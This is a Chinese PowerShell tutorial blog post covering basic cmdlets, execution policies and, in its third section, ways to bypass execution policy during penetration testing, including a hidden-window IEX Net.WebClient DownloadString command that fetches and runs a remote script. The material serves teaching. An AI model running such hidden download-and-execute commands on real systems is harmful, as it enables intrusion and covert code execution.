• powershell 基础


    Windows powershell是一种命令行外壳程序和脚本环境,它内置在win7以上版本的操作系统中,使命令行用户和脚本编写者可以利用.NET Framework的强大功能。powershell程序可以直接在内存中运行,可以作为命令提示符cmd.exe的扩充。
     
    查看powershell版本信息
    Get-Host 或者 $PSVersionTable.PSVersion
     
    基本概念
    1. .ps1文件
    一个powershell 脚本其实就是一个包含了多个powershell命令的简单的文本文件,每个命令显示为独立的一行。
     
    2.执行策略
    为防止恶意脚本的运行,powershell 有一个执行策略,默认情况下该执行策略被设置为受限。
    在powershell 脚本无法执行时,可以使用下面的cmdlet命令确定当前的执行策略。
    Get-ExecutionPolicy
    Restricted: 脚本不能运行(默认设置)
    RemoteSigned: 本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字签名的除外)
    AllSigned: 仅当脚本由受信任的发布者签名时才能运行
    Unrestricted: 允许所有的script脚本运行
     
    通过以下cmdlet可以设置Powershell的执行策略
    Set-ExecutionPolicy <policy nmae>
     
    3.运行脚本
    C: est1.ps1
    .2.ps1
     
    4.管道
    前一个命令的输出作为后一个命令的输入
    假设需要停止目前所有以“p”开头的程序
    get-process p* | stop-process
     
     
    一、基本命令
    以文件操作为例
    1.新建目录
    New-Item whitecellclub-ItemType Directory
    2.新建文件
    New-Item light.txt-ItemType File
    3.删除目录
    Remove-Item whitecellclub
    4.显示文件内容
    Get-Content test.txt
    5.设置文本内容
    Set-Content test.txt-Value"Hello World!"
    6.追加内容
    Add-Content light.txt-Value"i love you"
    7.清除内容
    Clear-Content test.txt
     
    二、执行策略
    获取执行策略
    Get-ExecutionPolicy
    策略分以下几种:
    Restricted: 脚本不能执行(默认)
    RemoteSigned: 本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)。
    AllSigned: 仅当脚本由受信任的发布者签名时才能运行。
    Unrestricted: 允许所有的script运行
    可以使用如下命令格式设置PowerShell的执行策略
    Set-ExecutionPolicy <Policy name>
     
    命令行下输入powershell进入powershell命令行,输入help查看帮助信息。
     
    三、绕过策略来执行脚本
    如果要运行PowerShell脚本程序,必须用管理员权限将Restricted策略改成Unrestricted,所以,在渗透时,需要采用一些方法绕过策略来执行脚本
     
    1.绕过本地权限执行
    上传xxx.ps1到目标服务器,在CMD环境下,在目标服务器本地执行该脚本
    PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
    2.本地隐藏绕过权限执行脚本
    PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -File xxx.ps1
    3.用IEX下载远程PS1脚本绕过权限执行
    PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Nonl IEX (New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]
     
    以上命令的参数说明:
    ExecutionPolicy Bypass : 绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PowerShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全规则。在渗透测试中,基本每一次运行PowerShell脚本时都要使用这个参数。
    WindowStyle Hidden : 隐藏窗口
    NoLogo : 启动不显示版权标志的PowerShell
    NonInteractive (-Nonl) : 非交互模式,Po
    werShell不为用户提供交互的提示
    NoProfile (-Nop): PowerShell控制台不加载当前用户的配置文件
    Noexit : 执行后不退出Shell。这在使用键盘记录等脚本时非常重要。
    PowerShell脚本在默认情况下无法直接运行,这时就可以使用上述三种方法绕过安全策略,运行PowerShell脚本。
     
     
     
  • 相关阅读:
    【二分图匹配/匈牙利算法】飞行员配对方案问题
    【模板/学习】匈牙利算法
    【tarjan缩点+分层图】草鉴定Grass Cownoisseur
    【微笑】
    【质因数分解】SAC E#1 一道中档题 Factorial
    【dfs+dp】砝码称重
    【背包dp】自然数拆分Lunatic版
    【单调队列】最大子序和
    【单调队列】滑动窗口
    bzoj 2834: 回家的路
  • 原文地址:https://www.cnblogs.com/micr067/p/11717322.html
Copyright © 2020-2023  润新知